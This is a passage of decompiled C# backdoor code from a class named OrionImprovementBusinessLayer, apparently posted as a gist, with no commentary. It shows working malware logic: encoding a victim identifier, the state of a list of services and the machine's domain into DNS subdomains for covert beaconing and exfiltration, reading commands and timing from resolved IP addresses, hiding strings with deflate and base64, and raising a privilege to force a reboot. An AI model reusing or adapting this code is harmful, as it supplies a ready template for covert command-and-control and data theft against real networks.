// Token: 0x060009AF RID: 2479 RVA: 0x00045E20 File Offset: 0x00044020 | |
public static OrionImprovementBusinessLayer.AddressFamilyEx GetAddressFamily(string hostName, OrionImprovementBusinessLayer.DnsRecords rec) | |
{ | |
rec.cname = null; | |
try | |
{ | |
IPHostEntry iphostEntry = OrionImprovementBusinessLayer.DnsHelper.GetIPHostEntry(hostName); | |
if (iphostEntry == null) | |
{ | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Error; | |
} | |
IPAddress[] addressList = iphostEntry.AddressList; | |
int i = 0; | |
while (i < addressList.Length) | |
{ | |
IPAddress ipaddress = addressList[i]; | |
if (ipaddress.AddressFamily == AddressFamily.InterNetwork) | |
{ | |
if (!(iphostEntry.HostName != hostName) || string.IsNullOrEmpty(iphostEntry.HostName)) | |
{ | |
OrionImprovementBusinessLayer.IPAddressesHelper.GetAddresses(ipaddress, rec); | |
return OrionImprovementBusinessLayer.IPAddressesHelper.GetAddressFamily(ipaddress, out rec.dnssec); | |
} | |
rec.cname = iphostEntry.HostName; | |
if (OrionImprovementBusinessLayer.IPAddressesHelper.GetAddressFamily(ipaddress) == OrionImprovementBusinessLayer.AddressFamilyEx.Atm) | |
{ | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Atm; | |
} | |
if (rec.dnssec) | |
{ | |
rec.dnssec = false; | |
return OrionImprovementBusinessLayer.AddressFamilyEx.NetBios; | |
} | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Error; | |
} | |
else | |
{ | |
i++; | |
} | |
} | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Unknown; | |
} | |
catch (Exception) | |
{ | |
} | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Error; | |
} | |
} | |
// Token: 0x020000D7 RID: 215 | |
private class CryptoHelper | |
{ | |
// Token: 0x060009B0 RID: 2480 RVA: 0x00045EE8 File Offset: 0x000440E8 | |
public CryptoHelper(byte[] userId, string domain) | |
{ | |
this.guid = userId.ToArray<byte>(); | |
this.dnStr = OrionImprovementBusinessLayer.CryptoHelper.DecryptShort(domain); | |
this.offset = 0; | |
this.nCount = 0; | |
} | |
// Token: 0x060009B1 RID: 2481 RVA: 0x00045F18 File Offset: 0x00044118 | |
private static string Base64Decode(string s) | |
{ | |
string text = OrionImprovementBusinessLayer.ZipHelper.Unzip("Kyo0Ti9OzCkxKzXMrEyryi8wNTdKMbFMyquwSC7LzU4tz8gCAA=="); | |
string text2 = OrionImprovementBusinessLayer.ZipHelper.Unzip("M4jX1QMA"); | |
string text3 = ""; | |
Random random = new Random(); | |
foreach (char value in s) | |
{ | |
int num = text2.IndexOf(value); | |
text3 = ((num < 0) ? (text3 + text[(text.IndexOf(value) + 4) % text.Length].ToString()) : (text3 + text2[0].ToString() + text[num + random.Next() % (text.Length / text2.Length) * text2.Length].ToString())); | |
} | |
return text3; | |
} | |
// Token: 0x060009B2 RID: 2482 RVA: 0x00045FF0 File Offset: 0x000441F0 | |
private static string Base64Encode(byte[] bytes, bool rt) | |
{ | |
string text = OrionImprovementBusinessLayer.ZipHelper.Unzip("K8gwSs1MyzfOMy0tSTfMskixNCksKkvKzTYoTswxN0sGAA=="); | |
string text2 = ""; | |
uint num = 0U; | |
int i = 0; | |
foreach (byte b in bytes) | |
{ | |
num |= (uint)((uint)b << i); | |
for (i += 8; i >= 5; i -= 5) | |
{ | |
text2 += text[(int)(num & 31U)].ToString(); | |
num >>= 5; | |
} | |
} | |
if (i > 0) | |
{ | |
if (rt) | |
{ | |
num |= (uint)((uint)new Random().Next() << i); | |
} | |
text2 += text[(int)(num & 31U)].ToString(); | |
} | |
return text2; | |
} | |
// Token: 0x060009B3 RID: 2483 RVA: 0x0004609C File Offset: 0x0004429C | |
private static string CreateSecureString(byte[] data, bool flag) | |
{ | |
byte[] array = new byte[data.Length + 1]; | |
array[0] = (byte)new Random().Next(1, 127); | |
if (flag) | |
{ | |
byte[] array2 = array; | |
int num = 0; | |
array2[num] |= 128; | |
} | |
for (int i = 1; i < array.Length; i++) | |
{ | |
array[i] = (data[i - 1] ^ array[0]); | |
} | |
return OrionImprovementBusinessLayer.CryptoHelper.Base64Encode(array, true); | |
} | |
// Token: 0x060009B4 RID: 2484 RVA: 0x000460FC File Offset: 0x000442FC | |
private static string CreateString(int n, char c) | |
{ | |
if (n < 0 || n >= 36) | |
{ | |
n = 35; | |
} | |
n = (n + (int)c) % 36; | |
if (n < 10) | |
{ | |
return ((char)(48 + n)).ToString(); | |
} | |
return ((char)(97 + n - 10)).ToString(); | |
} | |
// Token: 0x060009B5 RID: 2485 RVA: 0x00046144 File Offset: 0x00044344 | |
private static string DecryptShort(string domain) | |
{ | |
if (domain.All((char c) => OrionImprovementBusinessLayer.ZipHelper.Unzip("MzA0MjYxNTO3sExMSk5JTUvPyMzKzsnNyy8oLCouKS0rr6is0o3XAwA=").Contains(c))) | |
{ | |
return OrionImprovementBusinessLayer.CryptoHelper.Base64Decode(domain); | |
} | |
return "00" + OrionImprovementBusinessLayer.CryptoHelper.Base64Encode(Encoding.UTF8.GetBytes(domain), false); | |
} | |
// Token: 0x060009B6 RID: 2486 RVA: 0x0004619C File Offset: 0x0004439C | |
private string GetStatus() | |
{ | |
return string.Concat(new string[] | |
{ | |
".", | |
OrionImprovementBusinessLayer.domain2, | |
".", | |
OrionImprovementBusinessLayer.domain3[(int)this.guid[0] % OrionImprovementBusinessLayer.domain3.Length], | |
".", | |
OrionImprovementBusinessLayer.domain1 | |
}); | |
} | |
// Token: 0x060009B7 RID: 2487 RVA: 0x000461F8 File Offset: 0x000443F8 | |
private static int GetStringHash(bool flag) | |
{ | |
return ((int)((DateTime.UtcNow - new DateTime(2010, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMinutes / 30.0) & 524287) << 1 | (flag ? 1 : 0); | |
} | |
// Token: 0x060009B8 RID: 2488 RVA: 0x00046244 File Offset: 0x00044444 | |
private byte[] UpdateBuffer(int sz, byte[] data, bool flag) | |
{ | |
byte[] array = new byte[this.guid.Length + ((data != null) ? data.Length : 0) + 3]; | |
Array.Clear(array, 0, array.Length); | |
Array.Copy(this.guid, array, this.guid.Length); | |
int stringHash = OrionImprovementBusinessLayer.CryptoHelper.GetStringHash(flag); | |
array[this.guid.Length] = (byte)((stringHash & 983040) >> 16 | (sz & 15) << 4); | |
array[this.guid.Length + 1] = (byte)((stringHash & 65280) >> 8); | |
array[this.guid.Length + 2] = (byte)(stringHash & 255); | |
if (data != null) | |
{ | |
Array.Copy(data, 0, array, array.Length - data.Length, data.Length); | |
} | |
for (int i = 0; i < this.guid.Length; i++) | |
{ | |
byte[] array2 = array; | |
int num = i; | |
array2[num] ^= array[this.guid.Length + 2 - i % 2]; | |
} | |
return array; | |
} | |
// Token: 0x060009B9 RID: 2489 RVA: 0x0004631C File Offset: 0x0004451C | |
public string GetNextStringEx(bool flag) | |
{ | |
byte[] array = new byte[(OrionImprovementBusinessLayer.svcList.Length * 2 + 7) / 8]; | |
Array.Clear(array, 0, array.Length); | |
for (int i = 0; i < OrionImprovementBusinessLayer.svcList.Length; i++) | |
{ | |
int num = Convert.ToInt32(OrionImprovementBusinessLayer.svcList[i].stopped) | Convert.ToInt32(OrionImprovementBusinessLayer.svcList[i].running) << 1; | |
byte[] array2 = array; | |
int num2 = array.Length - 1 - i / 4; | |
array2[num2] |= Convert.ToByte(num << i % 4 * 2); | |
} | |
return OrionImprovementBusinessLayer.CryptoHelper.CreateSecureString(this.UpdateBuffer(2, array, flag), false) + this.GetStatus(); | |
} | |
// Token: 0x060009BA RID: 2490 RVA: 0x000463BB File Offset: 0x000445BB | |
public string GetNextString(bool flag) | |
{ | |
return OrionImprovementBusinessLayer.CryptoHelper.CreateSecureString(this.UpdateBuffer(1, null, flag), false) + this.GetStatus(); | |
} | |
// Token: 0x060009BB RID: 2491 RVA: 0x000463D8 File Offset: 0x000445D8 | |
public string GetPreviousString(out bool last) | |
{ | |
string text = OrionImprovementBusinessLayer.CryptoHelper.CreateSecureString(this.guid, true); | |
int num = 32 - text.Length - 1; | |
string result = ""; | |
last = false; | |
if (this.offset >= this.dnStr.Length || this.nCount > 36) | |
{ | |
return result; | |
} | |
int num2 = Math.Min(num, this.dnStr.Length - this.offset); | |
this.dnStrLower = this.dnStr.Substring(this.offset, num2); | |
this.offset += num2; | |
if (OrionImprovementBusinessLayer.ZipHelper.Unzip("0403AAA=").Contains(this.dnStrLower[this.dnStrLower.Length - 1])) | |
{ | |
if (num2 == num) | |
{ | |
this.offset--; | |
this.dnStrLower = this.dnStrLower.Remove(this.dnStrLower.Length - 1); | |
} | |
this.dnStrLower += "0"; | |
} | |
if (this.offset >= this.dnStr.Length || this.nCount > 36) | |
{ | |
this.nCount = -1; | |
} | |
result = text + OrionImprovementBusinessLayer.CryptoHelper.CreateString(this.nCount, text[0]) + this.dnStrLower + this.GetStatus(); | |
if (this.nCount >= 0) | |
{ | |
this.nCount++; | |
} | |
last = (this.nCount < 0); | |
return result; | |
} | |
// Token: 0x060009BC RID: 2492 RVA: 0x00046540 File Offset: 0x00044740 | |
public string GetCurrentString() | |
{ | |
string text = OrionImprovementBusinessLayer.CryptoHelper.CreateSecureString(this.guid, true); | |
return text + OrionImprovementBusinessLayer.CryptoHelper.CreateString((this.nCount > 0) ? (this.nCount - 1) : this.nCount, text[0]) + this.dnStrLower + this.GetStatus(); | |
} | |
// Token: 0x040002FF RID: 767 | |
private const int dnSize = 32; | |
// Token: 0x04000300 RID: 768 | |
private const int dnCount = 36; | |
// Token: 0x04000301 RID: 769 | |
private readonly byte[] guid; | |
// Token: 0x04000302 RID: 770 | |
private readonly string dnStr; | |
// Token: 0x04000303 RID: 771 | |
private string dnStrLower; | |
// Token: 0x04000304 RID: 772 | |
private int nCount; | |
// Token: 0x04000305 RID: 773 | |
private int offset; | |
} | |
// Token: 0x020000D8 RID: 216 | |
private class DnsRecords | |
{ | |
// Token: 0x04000306 RID: 774 | |
public int A; | |
// Token: 0x04000307 RID: 775 | |
public int _type; | |
// Token: 0x04000308 RID: 776 | |
public int length; | |
// Token: 0x04000309 RID: 777 | |
public string cname; | |
// Token: 0x0400030A RID: 778 | |
public bool dnssec; | |
} | |
// Token: 0x020000D9 RID: 217 | |
private class IPAddressesHelper | |
{ | |
// Token: 0x060009BE RID: 2494 RVA: 0x00046591 File Offset: 0x00044791 | |
public IPAddressesHelper(string subnet, string mask, OrionImprovementBusinessLayer.AddressFamilyEx family, bool ext) | |
{ | |
this.family = family; | |
this.subnet = IPAddress.Parse(subnet); | |
this.mask = IPAddress.Parse(mask); | |
this.ext = ext; | |
} | |
// Token: 0x060009BF RID: 2495 RVA: 0x000465C0 File Offset: 0x000447C0 | |
public IPAddressesHelper(string subnet, string mask, OrionImprovementBusinessLayer.AddressFamilyEx family) : this(subnet, mask, family, false) | |
{ | |
} | |
// Token: 0x060009C0 RID: 2496 RVA: 0x000465CC File Offset: 0x000447CC | |
public static void GetAddresses(IPAddress address, OrionImprovementBusinessLayer.DnsRecords rec) | |
{ | |
Random random = new Random(); | |
byte[] addressBytes = address.GetAddressBytes(); | |
int num = (int)(addressBytes[(int)((long)addressBytes.Length) - 2] & 10); | |
if (num != 2) | |
{ | |
if (num != 8) | |
{ | |
if (num != 10) | |
{ | |
rec.length = 0; | |
} | |
else | |
{ | |
rec.length = 3; | |
} | |
} | |
else | |
{ | |
rec.length = 2; | |
} | |
} | |
else | |
{ | |
rec.length = 1; | |
} | |
num = (int)(addressBytes[(int)((long)addressBytes.Length) - 1] & 136); | |
if (num != 8) | |
{ | |
if (num != 128) | |
{ | |
if (num != 136) | |
{ | |
rec._type = 0; | |
} | |
else | |
{ | |
rec._type = 3; | |
} | |
} | |
else | |
{ | |
rec._type = 2; | |
} | |
} | |
else | |
{ | |
rec._type = 1; | |
} | |
num = (int)(addressBytes[(int)((long)addressBytes.Length) - 1] & 84); | |
if (num <= 20) | |
{ | |
if (num == 4) | |
{ | |
rec.A = random.Next(240, 300); | |
return; | |
} | |
if (num == 16) | |
{ | |
rec.A = random.Next(480, 600); | |
return; | |
} | |
if (num == 20) | |
{ | |
rec.A = random.Next(1440, 1560); | |
return; | |
} | |
} | |
else if (num <= 68) | |
{ | |
if (num == 64) | |
{ | |
rec.A = random.Next(4320, 5760); | |
return; | |
} | |
if (num == 68) | |
{ | |
rec.A = random.Next(10020, 10140); | |
return; | |
} | |
} | |
else | |
{ | |
if (num == 80) | |
{ | |
rec.A = random.Next(20100, 20220); | |
return; | |
} | |
if (num == 84) | |
{ | |
rec.A = random.Next(43140, 43260); | |
return; | |
} | |
} | |
rec.A = 0; | |
} | |
// Token: 0x060009C1 RID: 2497 RVA: 0x00046760 File Offset: 0x00044960 | |
public static OrionImprovementBusinessLayer.AddressFamilyEx GetAddressFamily(IPAddress address) | |
{ | |
bool flag; | |
return OrionImprovementBusinessLayer.IPAddressesHelper.GetAddressFamily(address, out flag); | |
} | |
// Token: 0x060009C2 RID: 2498 RVA: 0x00046778 File Offset: 0x00044978 | |
public static OrionImprovementBusinessLayer.AddressFamilyEx GetAddressFamily(IPAddress address, out bool ext) | |
{ | |
ext = false; | |
try | |
{ | |
if (IPAddress.IsLoopback(address) || address.Equals(IPAddress.Any) || address.Equals(IPAddress.IPv6Any)) | |
{ | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Atm; | |
} | |
if (address.AddressFamily == AddressFamily.InterNetworkV6) | |
{ | |
byte[] addressBytes = address.GetAddressBytes(); | |
if (addressBytes.Take(10).All((byte b) => b == 0) && addressBytes[10] == addressBytes[11] && (addressBytes[10] == 0 || addressBytes[10] == 255)) | |
{ | |
address = address.MapToIPv4(); | |
} | |
} | |
else if (address.AddressFamily != AddressFamily.InterNetwork) | |
{ | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Unknown; | |
} | |
byte[] addressBytes2 = address.GetAddressBytes(); | |
foreach (OrionImprovementBusinessLayer.IPAddressesHelper ipaddressesHelper in OrionImprovementBusinessLayer.nList) | |
{ | |
byte[] addressBytes3 = ipaddressesHelper.subnet.GetAddressBytes(); | |
byte[] addressBytes4 = ipaddressesHelper.mask.GetAddressBytes(); | |
if (addressBytes2.Length == addressBytes4.Length && addressBytes2.Length == addressBytes3.Length) | |
{ | |
bool flag = true; | |
for (int j = 0; j < addressBytes2.Length; j++) | |
{ | |
if ((addressBytes2[j] & addressBytes4[j]) != (addressBytes3[j] & addressBytes4[j])) | |
{ | |
flag = false; | |
break; | |
} | |
} | |
if (flag) | |
{ | |
ext = ipaddressesHelper.ext; | |
return ipaddressesHelper.family; | |
} | |
} | |
} | |
return (address.AddressFamily == AddressFamily.InterNetworkV6) ? OrionImprovementBusinessLayer.AddressFamilyEx.InterNetworkV6 : OrionImprovementBusinessLayer.AddressFamilyEx.InterNetwork; | |
} | |
catch (Exception) | |
{ | |
} | |
return OrionImprovementBusinessLayer.AddressFamilyEx.Error; | |
} | |
// Token: 0x0400030B RID: 779 | |
private readonly IPAddress subnet; | |
// Token: 0x0400030C RID: 780 | |
private readonly IPAddress mask; | |
// Token: 0x0400030D RID: 781 | |
private readonly OrionImprovementBusinessLayer.AddressFamilyEx family; | |
// Token: 0x0400030E RID: 782 | |
private readonly bool ext; | |
} | |
// Token: 0x020000DA RID: 218 | |
private static class ZipHelper | |
{ | |
// Token: 0x060009C3 RID: 2499 RVA: 0x000468FC File Offset: 0x00044AFC | |
public static byte[] Compress(byte[] input) | |
{ | |
byte[] result; | |
using (MemoryStream memoryStream = new MemoryStream(input)) | |
{ | |
using (MemoryStream memoryStream2 = new MemoryStream()) | |
{ | |
using (DeflateStream deflateStream = new DeflateStream(memoryStream2, CompressionMode.Compress)) | |
{ | |
memoryStream.CopyTo(deflateStream); | |
} | |
result = memoryStream2.ToArray(); | |
} | |
} | |
return result; | |
} | |
// Token: 0x060009C4 RID: 2500 RVA: 0x00046978 File Offset: 0x00044B78 | |
public static byte[] Decompress(byte[] input) | |
{ | |
byte[] result; | |
using (MemoryStream memoryStream = new MemoryStream(input)) | |
{ | |
using (MemoryStream memoryStream2 = new MemoryStream()) | |
{ | |
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress)) | |
{ | |
deflateStream.CopyTo(memoryStream2); | |
} | |
result = memoryStream2.ToArray(); | |
} | |
} | |
return result; | |
} | |
// Token: 0x060009C5 RID: 2501 RVA: 0x000469F4 File Offset: 0x00044BF4 | |
public static string Zip(string input) | |
{ | |
if (string.IsNullOrEmpty(input)) | |
{ | |
return input; | |
} | |
string result; | |
try | |
{ | |
result = Convert.ToBase64String(OrionImprovementBusinessLayer.ZipHelper.Compress(Encoding.UTF8.GetBytes(input))); | |
} | |
catch (Exception) | |
{ | |
result = ""; | |
} | |
return result; | |
} | |
// Token: 0x060009C6 RID: 2502 RVA: 0x00046A40 File Offset: 0x00044C40 | |
public static string Unzip(string input) | |
{ | |
if (string.IsNullOrEmpty(input)) | |
{ | |
return input; | |
} | |
string result; | |
try | |
{ | |
byte[] bytes = OrionImprovementBusinessLayer.ZipHelper.Decompress(Convert.FromBase64String(input)); | |
result = Encoding.UTF8.GetString(bytes); | |
} | |
catch (Exception) | |
{ | |
result = input; | |
} | |
return result; | |
} | |
} | |
// Token: 0x020000DB RID: 219 | |
public class NativeMethods | |
{ | |
// Token: 0x060009C7 RID: 2503 | |
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] | |
[DllImport("kernel32.dll", SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
private static extern bool CloseHandle(IntPtr handle); | |
// Token: 0x060009C8 RID: 2504 | |
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] | |
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
private static extern bool AdjustTokenPrivileges([In] IntPtr TokenHandle, [MarshalAs(UnmanagedType.Bool)] [In] bool DisableAllPrivileges, [In] ref OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE NewState, [In] uint BufferLength, [In] [Out] ref OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE PreviousState, [In] [Out] ref uint ReturnLength); | |
// Token: 0x060009C9 RID: 2505 | |
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] | |
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "LookupPrivilegeValueW", SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
private static extern bool LookupPrivilegeValue([In] string lpSystemName, [In] string lpName, [In] [Out] ref OrionImprovementBusinessLayer.NativeMethods.LUID Luid); | |
// Token: 0x060009CA RID: 2506 | |
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] | |
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
private static extern IntPtr GetCurrentProcess(); | |
// Token: 0x060009CB RID: 2507 | |
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] | |
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
private static extern bool OpenProcessToken([In] IntPtr ProcessToken, [In] TokenAccessLevels DesiredAccess, [In] [Out] ref IntPtr TokenHandle); | |
// Token: 0x060009CC RID: 2508 | |
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "InitiateSystemShutdownExW", SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
public static extern bool InitiateSystemShutdownEx([In] string lpMachineName, [In] string lpMessage, [In] uint dwTimeout, [MarshalAs(UnmanagedType.Bool)] [In] bool bForceAppsClosed, [MarshalAs(UnmanagedType.Bool)] [In] bool bRebootAfterShutdown, [In] uint dwReason); | |
// Token: 0x060009CD RID: 2509 RVA: 0x00046A88 File Offset: 0x00044C88 | |
public static bool RebootComputer() | |
{ | |
bool flag = false; | |
bool result; | |
try | |
{ | |
bool newState = false; | |
string privilege = OrionImprovementBusinessLayer.ZipHelper.Unzip("C04NzigtSckvzwsoyizLzElNTwUA"); | |
if (!OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, true, out newState)) | |
{ | |
result = flag; | |
} | |
else | |
{ | |
flag = OrionImprovementBusinessLayer.NativeMethods.InitiateSystemShutdownEx(null, null, 0U, true, true, 2147745794U); | |
OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, newState, out newState); | |
result = flag; | |
} | |
} | |
catch (Exception) | |
{ | |
result = flag; | |
} | |
return result; | |
} | |
// Token: 0x060009CE RID: 2510 RVA: 0x00046AE8 File Offset: 0x00044CE8 | |
public static bool SetProcessPrivilege(string privilege, bool newState, out bool previousState) | |
{ | |
bool flag = false; | |
previousState = false; | |
bool result; | |
try | |
{ | |
IntPtr zero = IntPtr.Zero; | |
OrionImprovementBusinessLayer.NativeMethods.LUID luid = default(OrionImprovementBusinessLayer.NativeMethods.LUID); | |
luid.LowPart = 0U; | |
luid.HighPart = 0U; | |
if (!OrionImprovementBusinessLayer.NativeMethods.OpenProcessToken(OrionImprovementBusinessLayer.NativeMethods.GetCurrentProcess(), TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, ref zero)) | |
{ | |
result = false; | |
} | |
else if (!OrionImprovementBusinessLayer.NativeMethods.LookupPrivilegeValue(null, privilege, ref luid)) | |
{ | |
OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero); | |
result = false; | |
} | |
else | |
{ | |
OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE token_PRIVILEGE = default(OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE); | |
OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE token_PRIVILEGE2 = default(OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE); | |
token_PRIVILEGE.PrivilegeCount = 1U; | |
token_PRIVILEGE.Privilege.Luid = luid; | |
token_PRIVILEGE.Privilege.Attributes = (newState ? 2U : 0U); | |
uint num = 0U; | |
OrionImprovementBusinessLayer.NativeMethods.AdjustTokenPrivileges(zero, false, ref token_PRIVILEGE, (uint)Marshal.SizeOf(token_PRIVILEGE2), ref token_PRIVILEGE2, ref num); | |
previousState = ((token_PRIVILEGE2.Privilege.Attributes & 2U) > 0U); | |
flag = true; | |
OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero); | |
result = flag; | |
} | |
} | |
catch (Exception) | |
{ | |
result = flag; | |
} | |
return result; | |
} | |
// Token: 0x0400030F RID: 783 | |
private const uint SE_PRIVILEGE_DISABLED = 0U; | |
// Token: 0x04000310 RID: 784 | |
private const uint SE_PRIVILEGE_ENABLED = 2U; | |
// Token: 0x04000311 RID: 785 | |
private const string ADVAPI32 = "advapi32.dll"; | |
// Token: 0x04000312 RID: 786 | |
private const string KERNEL32 = "kernel32.dll"; | |
// Token: 0x020001C8 RID: 456 | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
private struct LUID | |
{ | |
// Token: 0x040005C8 RID: 1480 | |
public uint LowPart; | |
// Token: 0x040005C9 RID: 1481 | |
public uint HighPart; | |
} | |
// Token: 0x020001C9 RID: 457 | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
private struct LUID_AND_ATTRIBUTES | |
{ | |
// Token: 0x040005CA RID: 1482 | |
public OrionImprovementBusinessLayer.NativeMethods.LUID Luid; | |
// Token: 0x040005CB RID: 1483 | |
public uint Attributes; | |
} | |
// Token: 0x020001CA RID: 458 | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
private struct TOKEN_PRIVILEGE | |
{ | |
// Token: 0x040005CC RID: 1484 | |
public uint PrivilegeCount; | |
// Token: 0x040005CD RID: 1485 | |
public OrionImprovementBusinessLayer.NativeMethods.LUID_AND_ATTRIBUTES Privilege; | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment